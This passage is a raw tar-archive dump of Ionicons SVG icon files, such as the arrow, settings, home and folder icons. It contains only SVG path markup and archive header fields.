198c0-74.1-64.3-134-144-134z"/></svg>ionicons/svg/md-arrow-round-up.svg000064400000000507151701353760013216 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M412.6 227.1L278.6 89c-5.8-6-13.7-9-22.4-9h-.4c-8.7 0-16.6 3-22.4 9l-134 138.1c-12.5 12-12.5 31.3 0 43.2 12.5 11.9 32.7 11.9 45.2 0l79.4-83v214c0 16.9 14.3 30.6 32 30.6 18 0 32-13.7 32-30.6v-214l79.4 83c12.5 11.9 32.7 11.9 45.2 0s12.5-31.2 0-43.2z"/></svg>ionicons/svg/ios-settings.svg000064400000001602151701353760012344 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M416.3 256c0-21 13.1-38.9 31.7-46.1-4.9-20.5-13-39.7-23.7-57.1-6.4 2.8-13.2 4.3-20.1 4.3-12.6 0-25.2-4.8-34.9-14.4-14.9-14.9-18.2-36.8-10.2-55-17.3-10.7-36.6-18.8-57-23.7C295 82.5 277 95.7 256 95.7S217 82.5 209.9 64c-20.5 4.9-39.7 13-57.1 23.7 8.1 18.1 4.7 40.1-10.2 55-9.6 9.6-22.3 14.4-34.9 14.4-6.9 0-13.7-1.4-20.1-4.3C77 170.3 68.9 189.5 64 210c18.5 7.1 31.7 25 31.7 46.1 0 21-13.1 38.9-31.6 46.1 4.9 20.5 13 39.7 23.7 57.1 6.4-2.8 13.2-4.2 20-4.2 12.6 0 25.2 4.8 34.9 14.4 14.8 14.8 18.2 36.8 10.2 54.9 17.4 10.7 36.7 18.8 57.1 23.7 7.1-18.5 25-31.6 46-31.6s38.9 13.1 46 31.6c20.5-4.9 39.7-13 57.1-23.7-8-18.1-4.6-40 10.2-54.9 9.6-9.6 22.2-14.4 34.9-14.4 6.8 0 13.7 1.4 20 4.2 10.7-17.4 18.8-36.7 23.7-57.1-18.4-7.2-31.6-25.1-31.6-46.2zm-159.4 79.9c-44.3 0-80-35.9-80-80s35.7-80 80-80 80 35.9 80 80-35.7 80-80 80z"/></svg>ionicons/svg/md-information-circle.svg000064400000000317151701353760014100 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.2 48 48 141.2 48 256s93.2 208 208 208 208-93.2 208-208S370.8 48 256 48zm21 312h-42V235h42v125zm0-166h-42v-42h42v42z"/></svg>ionicons/svg/md-home.svg000064400000000210151701353760011234 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M208 448V320h96v128h97.6V256H464L256 64 48 256h62.4v192z"/></svg>ionicons/svg/md-folder.svg000064400000000427151701353760011571 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M213.338 96H74.666C51.197 96 32 115.198 32 138.667v234.666C32 396.802 51.197 416 74.666 416h362.668C460.803 416 480 396.802 480 373.333V186.667C480 163.198 460.803 144 437.334 144H256.006l-42.668-48z"/></svg>ionicons/svg/ios-infinite.svg000064400000001617151701353760012317 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M456.8 182.4c-20-19.6-46.8-30.4-75.2-30.4-28.5 0-55.2 10.8-75.2 30.4l-31.2 30c-1.6 1.6-1.6 4.2 0 5.7l19.4 19.1c1.5 1.5 4 1.5 5.6 0l31-30.1c13.5-13.1 31.3-20.3 50.3-20.3 19 0 36.8 7.2 50.3 20.3 13.4 13.1 20.7 30.5 20.7 49 0 18.4-7.4 35.8-20.7 48.7-13.5 13.1-31.3 20.3-50.3 20.3-19 0-36.8-7.2-50.3-20.3L205.6 182.4c-20.2-19.6-46.9-30.4-75.2-30.4-28.5 0-55.2 10.8-75.2 30.4C35.1 202 24 228.1 24 256c0 27.8 11.1 54 31.2 73.6 20 19.6 46.8 30.4 75.2 30.4 28.5 0 55.2-10.8 75.2-30.4l31-30c1.6-1.6 1.6-4.2 0-5.7L217.2 275c-1.5-1.5-4-1.5-5.6 0l-31 29.9c-13.5 13.1-31.3 20.3-50.3 20.3-19 0-36.8-7.2-50.3-20.3-13.4-13.1-20.7-30.5-20.7-49 0-18.4 7.4-35.7 20.7-48.7 13.5-13.1 31.3-20.3 50.3-20.3 19 0 36.8 7.2 50.3 20.3l125.5 122.5c20.2 19.6 46.9 30.4 75.2 30.4 28.5 0 55.2-10.8 75.2-30.4 20.2-19.6 31.3-45.7 31.3-73.6.2-27.9-10.9-54.1-31-73.7z"/></svg>ionicons/svg/md-help-buoy.svg000064400000001445151701353760012223 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48zm61 356l-12.2-39.6c13-5.8 24.9-14 35.3-24.4 10.4-10.4 18.6-22.3 24.4-35.3l39.5 12.1c-7.9 19.3-19.7 37-34.9 52.2-15.1 15.3-32.8 27.1-52.1 35zM195 108l12.2 39.6c-13 5.8-24.9 14-35.3 24.4-10.4 10.4-18.6 22.3-24.4 35.3L108 195.2c7.9-19.3 19.7-37 34.9-52.2 15.1-15.3 32.8-27.1 52.1-35zm61 84c35.3 0 64 28.7 64 64s-28.7 64-64 64-64-28.7-64-64 28.7-64 64-64zm113.1-49.1c15.2 15.2 26.9 32.9 34.9 52.1l-39.5 12.2c-5.9-13-14-24.9-24.4-35.3-10.4-10.4-22.3-18.6-35.3-24.4l12.1-39.5c19.3 7.9 37 19.7 52.2 34.9zM142.9 369.1c-15.2-15.1-27-32.8-34.9-52.1l39.5-12.2c5.9 13 14 24.9 24.4 35.3 10.4 10.4 22.3 18.6 35.3 24.4L195.1 404c-19.3-7.9-37-19.7-52.2-34.9z"/></svg>ionicons/svg/md-wine.svg000064400000000341151701353760011253 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M234.667 277.333V408H128v40h256v-40H277.333V277.333L448 106.667V64H64v42.667l170.667 170.666zm-74.667-128l-42.667-42.666h277.334L352 149.333H160z"/></svg>ionicons/svg/md-color-fill.svg000064400000000460151701353760012355 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M136.5 77.7l37 67L32 285.7 216.4 464l152.4-148.6 54.4-11.4L166.4 48l-29.9 29.7zm184 208H114.9l102.8-102.3 102.8 102.3zM423.3 304s-56.7 61.5-56.7 92.1c0 30.7 25.4 55.5 56.7 55.5 31.3 0 56.7-24.9 56.7-55.5S423.3 304 423.3 304z"/></svg>ionicons/svg/md-subway.svg000064400000001011151701353760011616 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48c-93.864 0-176 10.668-176 85.334v213.332c0 41.604 33.062 74.666 74.667 74.666L128 448v16h256v-16l-26.667-26.668c41.604 0 74.667-33.062 74.667-74.666V133.334C432 58.668 349.864 48 256 48zm-96 336c-18.136 0-32-13.865-32-32 0-18.137 13.864-32 32-32s32 13.863 32 32c0 18.135-13.864 32-32 32zm80-144H128v-96h112v96zm112 144c-18.136 0-32-13.865-32-32 0-18.137 13.864-32 32-32s32 13.863 32 32c0 18.135-13.864 32-32 32zm32-144H272v-96h112v96z"/></svg>ionicons/svg/ios-brush.svg000064400000001177151701353760011636 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M149.6 283.3c-51.9 0-83.9 45.7-83.9 95.1 0 21.3-10.9 37.1-31.4 46.4-2.2 1-3 3.8-1.7 5.8 16.7 24.6 63.3 33.3 95.3 33.3 8.4 0 15.9-.6 21.8-1.7 35.6-6.4 80.1-24.9 90.7-77 12.2-60.5-38.9-101.9-90.8-101.9z"/><path d="M467.7 60.4C460 52.7 450.9 48 441.6 48c-6.3 0-12.7 2.2-18.8 7L257.7 200.3c-5.4 4.8-12.4 7.4-19.7 7.4h-.1-.1c-5.6 0-11.1 2.1-15.4 5.8l-53.6 43.8c-2.1 1.8-2.7 4.8-1.4 7.2.9 1.7 2.6 2.9 4.5 3.1 45.6 4.5 87 37 87.3 86.6 0 1.7.7 3.4 2 4.5 2.5 2.1 6 1.7 8-.6l45.1-52.2c3.5-4 5.8-9.1 6-14.5v-1.2c0-7.5 3-14.8 8-20.4l144.8-164.4c11.9-15.1 7.6-32.1-5.4-45z"/></svg>ionicons/svg/ios-undo.svg000064400000000656151701353760011461 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M479.9 394.9c0-19.6 4.2-97.1-56.8-158.7-40.4-40.7-91.9-61.7-163.4-65.5-2.1-.1-3.8-1.9-3.8-4V84c0-3.2-3.5-5.1-6.2-3.4L33.8 222.8c-2.4 1.6-2.4 5.1 0 6.7l215.9 142.2c2.7 1.8 6.2-.1 6.2-3.4v-81.6c0-2.3 1.9-4.1 4.2-4 44.1 1.7 69.5 10.9 97.1 23.2 36.1 16.2 72.9 50.9 94.5 83.5 13.1 19.9 19.2 33.9 21.4 39.7.7 1.7 2.3 2.8 4.1 2.8h2.9c-.1-11.7-.2-26.7-.2-37z"/></svg>ionicons/svg/ios-square-outline.svg000064400000000425151701353760013463 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M388 96H124c-15.4 0-28 12.6-28 28v264c0 15.4 12.6 28 28 28h264c15.4 0 28-12.6 28-28V124c0-15.4-12.6-28-28-28zm0 284c0 4.4-3.6 8-8 8H132c-4.4 0-8-3.6-8-8V132c0-4.4 3.6-8 8-8h248c4.4 0 8 3.6 8 8v248z"/></svg>ionicons/svg/ios-open.svg000064400000001004151701353760011441 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M227.8 300.2c-5.1-5.1-5.1-13.3 0-18.4l133.7-133.7c-5.3-2.6-11.2-4.1-17.5-4.1H88c-22 0-40 18-40 40v224c0 22 18 40 40 40h256c22 0 40-18 40-40V184c0-6.3-1.5-12.2-4.1-17.5L246.2 300.2c-5.1 5.1-13.3 5.1-18.4 0z"/><path d="M459.5 68.5C457 66 453 64 449 64h-97c-7.2-.1-13.1 5.7-13.1 12.9-.1 7.2 5.7 13.1 12.9 13.1l67.3.5-57.6 57.6c8 3.9 14.5 10.4 18.4 18.4l57.6-57.6.5 67.3c.1 7.2 5.9 13 13.1 12.9 7.2-.1 13-5.9 12.9-13.1V78c0-3.5-2-7-4.5-9.5z"/></svg>ionicons/svg/md-repeat.svg000064400000000326151701353760011574 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M149.3 152h213.3v62.4l85.3-83.2L362.7 48v62.4h-256v124.8h42.7V152zm213.4 208H149.3v-62.4L64 380.8l85.3 83.2v-62.4h256V276.8h-42.7V360z"/></svg>ionicons/svg/ios-mail-unread.svg000064400000001400151701353760012676 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><circle cx="416" cy="152" r="48"/><path d="M416 218.5c-5.4 0-10.6-.7-15.6-1.9L353 264.9c-.8.8-.8 2 0 2.8l75.3 80.2c5.1 5.1 5.1 13.3 0 18.4-2.5 2.5-5.9 3.8-9.2 3.8s-6.7-1.3-9.2-3.8l-75-79.9c-.8-.8-2.1-.8-2.9 0L313.7 305c-15.3 15.5-35.6 24.1-57.4 24.2-22.1.1-43.1-9.2-58.6-24.9l-17.6-17.9c-.8-.8-2.1-.8-2.9 0l-75 79.9c-2.5 2.5-5.9 3.8-9.2 3.8s-6.7-1.3-9.2-3.8c-5.1-5.1-5.1-13.3 0-18.4l75.3-80.2c.7-.8.7-2 0-2.8L51.4 155.3c-1.3-1.3-3.4-.4-3.4 1.4V376c0 17.6 14.4 32 32 32h352c17.6 0 32-14.4 32-32V198c-12.1 12.6-29.1 20.5-48 20.5z"/><path d="M349.5 152c0-11.6 3-22.5 8.2-32H79.9c-7.5 0-14.4 2.6-19.8 7L217 286.7c10.4 10.6 24.3 16.4 39.1 16.4s28.7-5.8 39.1-16.4l80.5-81.9c-16-12.2-26.2-31.3-26.2-52.8z"/></svg>ionicons/svg/md-arrow-back.svg000064400000000264151701353760012345 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M427 234.625H167.296l119.702-119.702L256 85 85 256l171 171 29.922-29.924-118.626-119.701H427v-42.75z"/></svg>ionicons/svg/ios-female.svg000064400000001657151701353760011747 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M61.6 464c3.6 0 7.1-1.4 9.6-4l44.8-44.8 37 37c2.6 2.6 6 4 9.6 4 3.6 0 7.1-1.4 9.6-4 5.3-5.3 5.3-13.9 0-19.2l-37-37 50-50c30.6 26 69.3 40.3 109.6 40.3 22.8 0 45-4.5 65.8-13.3 20.1-8.5 38.2-20.7 53.8-36.2 15.5-15.5 27.7-33.6 36.2-53.8 8.8-20.9 13.3-43 13.3-65.8s-4.5-45-13.3-65.8c-8.5-20.1-20.7-38.2-36.2-53.8-15.5-15.5-33.6-27.7-53.8-36.2-20.9-8.8-43-13.3-65.8-13.3-22.8 0-45 4.5-65.8 13.3-20.1 8.5-38.2 20.7-53.8 36.2-15.5 15.5-27.7 33.6-36.2 53.8-8.8 20.9-13.3 43-13.3 65.8 0 40.3 14.3 79 40.3 109.6l-50 50-37-37c-2.6-2.6-6-4-9.6-4-3.6 0-7.1 1.4-9.6 4-5.3 5.3-5.3 13.9 0 19.2l37 37L52 440.8c-5.3 5.3-5.3 13.9 0 19.2 2.6 2.6 6 4 9.6 4zm132.9-347.2C221.3 90 257 75.2 294.9 75.2c37.9 0 73.5 14.8 100.3 41.6 26.8 26.8 41.6 62.4 41.6 100.3s-14.8 73.5-41.6 100.3c-26.8 26.8-62.4 41.6-100.3 41.6s-73.5-14.8-100.3-41.6C167.7 290.7 153 255 153 217.1s14.7-73.5 41.5-100.3z"/></svg>ionicons/svg/ios-construct.svg000064400000003210151701353760012525 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M380 64.4zM275.1 57.6c-9.4-5.9-23.3-9.6-37.9-9.6-14.3 0-30.3 2.5-46.7 9.2-46.5 19-74 45.4-81.1 52.4-7 7-16.8 18-22.9 26.6-6.1 8.7 1.9 21-6.1 29s-24.7 0-24.7 0c-1.4 0-2.9.5-3.9 1.6l-34.1 33.9c-2.2 2.1-2.2 5.7 0 7.8l63.5 63.1c1.1 1.1 2.5 1.6 3.9 1.6s2.9-.5 3.9-1.6l33.2-34.8c2.2-2.1 2.2-5.7 0-7.8 0 0-5.3-5.2-12.1-12s.8-19.3 5.3-23.4c4.5-4.1 11.6-6.8 21.1-6.8 4.3 0 7.4.7 11.4 1.8 12.2 3.4 25.8 15.9 50.9 40.8l-3.9 6.5c-2.3 3.8-.9 8.3 1.3 10.4 0 0-5-4.9 13.1 13.1l50-47.2c-19.1-18.9-14.5-14.1-14.5-14.1-1.4-1.4-3.8-2.3-6.3-2.3-1.4 0-2.9.3-4.2 1l-5.6 3c-28-27.8-35.3-40.2-34.3-61.7 1.1-22.4 12.3-37.1 30.5-52.7 24.7-21.1 60.6-15.2 60.6-15.2 8-.1-4.2-8.6-10.4-12.6zM462.5 399.9s-68.9-57.2-130.2-115.7l-47.7 50.6c58.5 60.6 114.9 127.6 114.9 127.6 1.1 1.1 2.5 1.6 3.9 1.6s2.9-.5 3.9-1.6l55.1-54.7c2.2-2.1 2.2-5.7.1-7.8z"/><path d="M479.2 125.3l-52.4 52.6-51.1-9.3-9.2-51.1 52.4-52.6c-11.1-11.1-26.8-16.6-39-16.6-.7 0-1.4 0-2 .1-12.5.6-39.2 7.7-59.9 29.7-20 21.1-41.1 60.6-22.4 104.3 2.2 5.3 4.7 12.2-2.7 19.7-1.5 1.4-9.9 9.4-22.5 21.3-3.6 3.4-7.4 7-11.6 11-8 7.6-17.1 16.2-26.8 25.2-3.8 3.6-7.7 7.2-11.6 11-57 53.8-126.9 119.5-126.9 119.5-18 15.5-16.7 44.1-.1 60.8 8.5 8.4 20 12.8 31.3 12.8 11 0 21.9-4.2 29.5-13.1 0 0 65.5-69.8 119.3-126.9 3.7-4 7.4-7.8 11-11.7 9.3-9.9 18-19.1 25.8-27.3 3.9-4.2 7.6-8.1 11-11.6 11.5-12.2 19.3-20.4 21-22 4-3.9 7.7-5.1 11.1-5.1 3.3 0 6.2 1.2 8.6 2.4 9.9 5.1 21 7.3 32.4 7.3 26.7 0 55-12.4 72.1-29.5 24.4-24.4 28.8-47.9 29.6-60 .6-11.8-3.6-27.6-16.9-40.9zM137.4 426.1c-5.5 5.4-14.4 5.4-19.8 0-5.4-5.5-5.4-14.4 0-19.8 5.5-5.4 14.4-5.4 19.8 0 5.4 5.5 5.4 14.4 0 19.8z"/></svg>ionicons/svg/md-send.svg000064400000000201151701353760011235 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M48 448l416-192L48 64v149.333L346 256 48 298.667z"/></svg>ionicons/svg/ios-transgender.svg000064400000002376151701353760013031 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M450.4 168.5c7.5 0 13.6-6.1 13.6-13.6V61.6c0-7.5-6.1-13.6-13.6-13.6h-93.3c-7.5 0-13.6 6.1-13.6 13.6s6.1 13.6 13.6 13.6H417l-75 75.4c-25.7-16.3-55.4-24.8-86-24.8-30.7 0-60.3 8.6-86 24.8l-19-19.1 28.2-28.2c5.3-5.3 5.3-13.9 0-19.2-2.6-2.6-6-4-9.6-4-3.6 0-7.1 1.4-9.6 4l-28.1 28.1-36.8-37H155c7.5 0 13.6-6.1 13.6-13.6S162.5 48 155 48H61.6C54.1 48 48 54.1 48 61.6v93.3c0 7.5 6.1 13.6 13.6 13.6s13.6-6.1 13.6-13.6V95.1l36.9 36.7-30 30c-5.3 5.3-5.3 13.9 0 19.2 2.6 2.6 6 4 9.6 4 3.6 0 7.1-1.4 9.6-4l30.1-30.1 16.5 16.4c-33.9 30.6-53.3 73.9-53.3 119.8 0 43.1 16.8 83.6 47.3 114.1 30.5 30.5 71 47.3 114.1 47.3 45.9 0 89.2-19.4 119.9-53.3l16.4 16.4-29.3 29.2c-5.3 5.3-5.3 13.9 0 19.2 2.6 2.6 6 4 9.6 4 3.6 0 7.1-1.4 9.6-4l29.3-29.3 29.3 29.3c2.6 2.6 6 4 9.6 4 3.6 0 7.1-1.4 9.6-4 5.3-5.3 5.3-13.9 0-19.2l-29.3-29.3 29.3-29.3c5.3-5.3 5.3-13.9 0-19.2-2.6-2.6-6-4-9.6-4-3.6 0-7.1 1.4-9.6 4l-29.3 29.3-19-19c16.3-25.8 24.9-55.4 24.9-86.1 0-45.9-19.3-89.2-53.3-119.8l72.7-72.2v59.9c0 7.3 6.1 13.4 13.6 13.4zm-60.3 118.6c0 35.8-14 69.5-39.3 94.8-25.3 25.3-59 39.3-94.8 39.3s-69.5-14-94.8-39.3c-25.3-25.3-39.3-59-39.3-94.8s14-69.5 39.3-94.8c25.3-25.3 59-39.3 94.8-39.3s69.5 14 94.8 39.3c25.4 25.3 39.3 59 39.3 94.8z"/></svg>ionicons/svg/md-arrow-dropup-circle.svg000064400000000307151701353760014213 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M464 256c0-114.875-93.125-208-208-208S48 141.125 48 256s93.125 208 208 208 208-93.125 208-208zm-112 32H160l96-96 96 96z"/></svg>ionicons/svg/ios-refresh-circle.svg000064400000000747151701353760013412 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48zm0 336.1c-70.7 0-128-57.3-128-128.1s57.3-128.1 128-128.1v-37c0-6.4 7.1-10.2 12.4-6.7l72.9 52.6c4.9 3.3 4.7 10.6-.4 13.6L268 196.7c-5.3 3.1-12-.8-12-6.9v-41.9c-60.3 0-109.2 49.7-108.1 110.2 1.1 59.1 50.3 106.7 109.5 106 55.9-.7 101.8-43.7 106.3-99 .4-5.2 4.7-9.1 9.9-9.1 5.8 0 10.4 4.9 9.9 10.7-5.4 66-60.4 117.4-127.5 117.4z"/></svg>ionicons/svg/md-swap.svg000064400000000307151701353760011265 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M131.3 231.1L32 330.6l99.3 99.4v-74.6h174.5v-49.7H131.3v-74.6zM480 181.4L380.7 82v74.6H206.2v49.7h174.5v74.6l99.3-99.5z"/></svg>ionicons/svg/md-medal.svg000064400000000540151701353760011374 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M273.5 152.1H48l54.1-103.9h240.7z"/><circle cx="256.2" cy="377.2" r="86.6"/><path d="M348.9 299.1l115.1-147-69.3-103.9L256.4 256c32.3 0 62.7 12.7 85.5 35.5 2.5 2.5 4.8 5 7 7.6zM205.8 266.6L152.3 186H48.4l90.1 161.5c5.2-21.2 16.1-40.6 32-56.4 10.4-10.3 22.3-18.6 35.3-24.5z"/></svg>ionicons/svg/md-radio.svg000064400000000566151701353760011420 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M73.8 141.9c-15.2 6-25.8 21.8-25.8 39.5v256c0 23.5 18.5 42.7 41.6 42.7h332.8c23.1 0 41.6-19.2 41.6-42.7v-256c0-23.7-18.5-42.7-41.6-42.7H179l171.8-71.3L336.7 32 73.8 141.9zM160 438c-35.4 0-64-28.6-64-64s28.6-64 64-64 64 28.6 64 64-28.6 64-64 64zm256-171.3h-32v-46.2h-44.8v46.2H96v-85.3h320v85.3z"/></svg>ionicons/svg/ios-star.svg000064400000000722151701353760011457 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M463 192H315.9L271.2 58.6C269 52.1 262.9 48 256 48s-13 4.1-15.2 10.6L196.1 192H48c-8.8 0-16 7.2-16 16 0 .9.1 1.9.3 2.7.2 3.5 1.8 7.4 6.7 11.3l120.9 85.2-46.4 134.9c-2.3 6.5 0 13.8 5.5 18 2.9 2.1 5.6 3.9 9 3.9 3.3 0 7.2-1.7 10-3.6l118-84.1 118 84.1c2.8 2 6.7 3.6 10 3.6 3.4 0 6.1-1.7 8.9-3.9 5.6-4.2 7.8-11.4 5.5-18L352 307.2l119.9-86 2.9-2.5c2.6-2.8 5.2-6.6 5.2-10.7 0-8.8-8.2-16-17-16z"/></svg>ionicons/svg/ios-pulse.svg000064400000001034151701353760011633 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M434.6 272.1c-22.4-1.2-41.6 13.2-48.2 32.9h-38.9l-28.4-85.4c-2.2-6.6-8.3-11-15.2-11h-.3c-7 .1-13.1 4.8-15 11.6l-44.5 155.3-52.3-314.1c-1.2-7.5-7.6-13.1-15.2-13.4-7.6-.3-14.3 4.8-16.2 12.1l-53 244.9H48c-8.8 0-16 7.2-16 16s7.2 16 16 16h72c7.3 0 13.8-5 15.5-12.1l37.4-182.2 51.3 307.9c1.2 7.4 7.4 12.9 14.9 13.3h.9c7.1 0 13.4-4.7 15.4-11.6l49.7-173.6 15.7 47.3c2.2 6.5 8.3 11 15.2 11h51.1c6.9 18 24.4 31 44.9 31 27 0 48.8-22.3 48-49.5-.8-24.8-20.7-45.1-45.4-46.4z"/></svg>ionicons/svg/md-musical-notes.svg000064400000000542151701353760013077 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M160 64v257.6c-8.2-2.7-17.2-4.1-26.6-4.1-38.3 0-69.4 27.1-69.4 65.4 0 38.3 31.1 65.1 69.4 65.1 38.3 0 69.6-28.2 69.6-69.1V200h202v121.6c-8.2-2.7-17.2-4.1-26.6-4.1-38.3 0-69.4 27.1-69.4 65.4 0 38.3 31.1 65.1 69.4 65.1 38.3 0 69.6-28.2 69.6-69.1V64H160zm245 96H203v-53h202v53z"/></svg>ionicons/svg/md-rose.svg000064400000001111151701353760011255 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M260.6 214.8c23.8-40.9 48-71.6 91.4-96.4 8.3-4.8 21.2-8 22.8-8.9C290.7 83.7 256 32 256 32s-34.7 51.7-120.5 76.5c5.8 3.4 16.5 6.5 30.7 13.7 34.5 17.4 62.5 51.3 94.4 92.6zM246.3 253.4C186.7 161.2 131.4 126.8 48 126.8c54.2 78.6 52 174.6 52 215.4 0 76.1 69.8 137.8 156 137.8 57.6 0 107.9-27.6 135-68.7-35.5-27.6-85.1-65.7-144.7-157.9zM464 126.8s-55.2-2.3-85.2 15.4c-43 25.5-74.4 61.3-95.4 103.2 38.8 52 73 87.9 95.4 109.4 10.7 10.2 19.8 18.2 27.5 24.5 3.7-11.8 5.8-24.3 5.8-37.2-.1-40.8-17.4-114.1 51.9-215.3z"/></svg>ionicons/svg/md-partly-sunny.svg000064400000001336151701353760013003 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M248.03 116.81l24.679-24.678 19.233 19.234-24.678 24.677zM176 125.7c-45.3 0-82.3 37-82.3 82.3 0 17.5 5.5 33.7 14.9 47 15.3-13 33.9-22.6 54.7-27.6l13.2-16.6c13.6-17.1 30.7-30.2 50.8-38.9 6.1-2.6 12.4-4.8 19-6.6-14.5-23.7-40.6-39.6-70.3-39.6zM162 64h28v41h-28zM32 194h41v28H32zM81.6 276.8l-.8-.8-24.7 24.7 19.2 19.2 24.7-24.7zM79.289 92.13l24.678 24.678-19.233 19.233-24.678-24.678zM405.6 288.6C394.7 233.4 346.2 192 288 192c-34 0-65.1 11.9-86.5 38.8 29.4 2.2 56.7 13 77.8 33.9 15.6 15.6 26.6 34.6 32.1 55.3h-28.7c-13.1-37.3-48-64-90.6-64-5.1 0-12.3.6-17.7 1.7C128.6 267.1 96 305 96 352c0 53 43 96 96 96h208c44.2 0 80-35.8 80-80 0-42.2-32.8-76.5-74.4-79.4z"/></svg>ionicons/svg/ios-add-circle.svg000064400000000633151701353760012476 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48zm90.5 224H272v74.5c0 8.8-7.2 16-16 16-4.4 0-8.4-1.8-11.3-4.7-2.9-2.9-4.7-6.9-4.7-11.3V272h-74.5c-4.4 0-8.4-1.8-11.3-4.7-2.9-2.9-4.7-6.9-4.7-11.3 0-8.8 7.2-16 16-16H240v-74.5c0-8.8 7.2-16 16-16s16 7.2 16 16V240h74.5c8.8 0 16 7.2 16 16s-7.2 16-16 16z"/></svg>ionicons/svg/md-moon.svg000064400000000363151701353760011265 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M195 125c0-26.3 5.3-51.3 14.9-74.1C118.7 73 51 155.1 51 253c0 114.8 93.2 208 208 208 97.9 0 180-67.7 202.1-158.9-22.8 9.6-47.9 14.9-74.1 14.9-106 0-192-86-192-192z"/></svg>ionicons/svg/ios-git-pull-request.svg000064400000002104151701353760013725 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M393 341.6V206c0-14.7 0-42.1-9.4-65.3-11.9-29.2-36-44.7-69.6-44.7h-77.7L276 55.8c5.4-5.4 5.4-14.3 0-19.8l-.1-.1c-2.7-2.5-6.2-3.9-9.8-3.9-3.8 0-7.3 1.4-9.9 4.1l-54.8 54.6C192.9 61.5 165.9 40 134 40c-38.6 0-70 31.4-70 70 0 17 6.2 33.3 17.3 46.1 9.9 11.3 23.1 19.1 37.7 22.3v163.3c-14.5 3.2-27.8 11-37.7 22.3C70.2 376.7 64 393 64 410c0 38.6 31.4 70 70 70s70-31.4 70-70c0-17.4-6.4-34-18-46.9-10.3-11.4-24-19.1-39-21.9V178.8c15-2.8 28.7-10.5 39-21.9 7.6-8.4 12.9-18.4 15.7-29.1l56.4 56.2c2.6 2.6 6.1 4.1 9.9 4.1 3.7 0 7.3-1.4 9.9-4.1 2.6-2.6 4.1-6.1 4.1-9.9 0-3.7-1.4-7.3-4.1-9.9l-.1-.1-41.1-40.1H314c20.4 0 33.6 7.5 41.6 23.5 8.4 17 9.4 41.5 9.4 58.5v135.2c-15 2.8-28.7 10.5-39 21.9-11.6 12.9-18 29.5-18 46.9 0 38.6 31.4 70 70 70s70-31.4 70-70c0-17-6.2-33.3-17.3-46.1-9.9-11.3-23.2-19.1-37.7-22.3zM176 410c0 23.2-18.8 42-42 42s-42-18.8-42-42 18.8-42 42-42 42 18.8 42 42zm-42-258c-23.2 0-42-18.8-42-42s18.8-42 42-42 42 18.8 42 42-18.8 42-42 42zm244 300c-23.2 0-42-18.8-42-42s18.8-42 42-42 42 18.8 42 42-18.8 42-42 42z"/></svg>ionicons/svg/logo-twitter.svg000064400000001155151701353760012357 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M492 109.5c-17.4 7.7-36 12.9-55.6 15.3 20-12 35.4-31 42.6-53.6-18.7 11.1-39.4 19.2-61.5 23.5C399.8 75.8 374.6 64 346.8 64c-53.5 0-96.8 43.4-96.8 96.9 0 7.6.8 15 2.5 22.1-80.5-4-151.9-42.6-199.6-101.3-8.3 14.3-13.1 31-13.1 48.7 0 33.6 17.2 63.3 43.2 80.7-16-.4-31-4.8-44-12.1v1.2c0 47 33.4 86.1 77.7 95-8.1 2.2-16.7 3.4-25.5 3.4-6.2 0-12.3-.6-18.2-1.8 12.3 38.5 48.1 66.5 90.5 67.3-33.1 26-74.9 41.5-120.3 41.5-7.8 